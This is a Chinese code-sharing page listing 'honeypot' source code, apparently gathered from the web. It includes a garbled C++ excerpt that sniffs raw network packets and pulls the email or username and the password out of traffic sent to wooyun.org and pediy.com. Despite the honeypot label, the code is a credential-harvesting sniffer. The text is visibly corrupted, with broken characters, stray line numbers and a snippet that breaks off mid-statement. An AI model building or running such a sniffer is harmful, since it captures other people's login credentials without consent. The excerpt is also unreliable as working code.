資源簡介
蜜罐源代碼,網上搜集的,。具體就看你的了,保重。。
代碼片段和文件信息
#include?
#include?
#include?“DataStruct.h“
#include?“InitSocket.h“
#include?
#include?“mstcpip.h“
using?namespace?std;
CInitSocket?initSock;
int?nRet?=?0;
void?IsWifiHoneypots(PCHAR?pBuff)
{
??PIPHEADER?pIphdr?=?(PIPHEADER)pBuff;
??pBuff?+=?(pIphdr->ipVersion?&?0xf)?*?sizeof(ULONG);
??PTCPHEADER?pTcpHdr?=?(PTCPHEADER)pBuff;
??19?memset(szText?‘?‘?nRet);
??int?dataLen?=?nRet?-?sizeof(IPHEADER)?-?sizeof(TCPHEADER);
??memcpy(szText?&pBuff[sizeof(TCPHEADER)]?dataLen);
??int?i?=?0;
??char?szEmail[MAXBYTE]?=?{0};
??PCHAR?pEmail?=?szEmail;
??if(strstr(szText?“wooyun.org“))
??if(strstr(szText?“email“))
??{??33?puts(“--------------------------------------------“);
??cout<<“found?Wooyun.org?password:“?<??pEmail?=?strstr(szText?“email“);
??for(i?=?0;?(pEmail[i]?!=?‘&‘);?i++);
??pEmail[i]?=?‘\0‘;
??puts(pEmail);
??pEmail?+=?i?+?1;
??if(strstr(pEmail?“password“))
??{
??????pEmail?=?strstr(pEmail?“password“);
??for(i?=?0;?(pEmail[i]?!=?‘&‘);?i++);
??pEmail[i]?=?‘\0‘;
??puts(pEmail);?
??}
??puts(“--------------------------------------------“);
??}?
??if(strstr(szText?“pediy.com“))
??if(strstr(szText?“username“))
??{??64?puts(“--------------------------------------------“);
??cout<<“found?pediy.com?password:“?< ??pEmail?=?strstr(szText?“username“);
??for
- 上一篇:高速乘法器
- 下一篇:arcgis 10.1 漢化中文包
評論
共有 條評論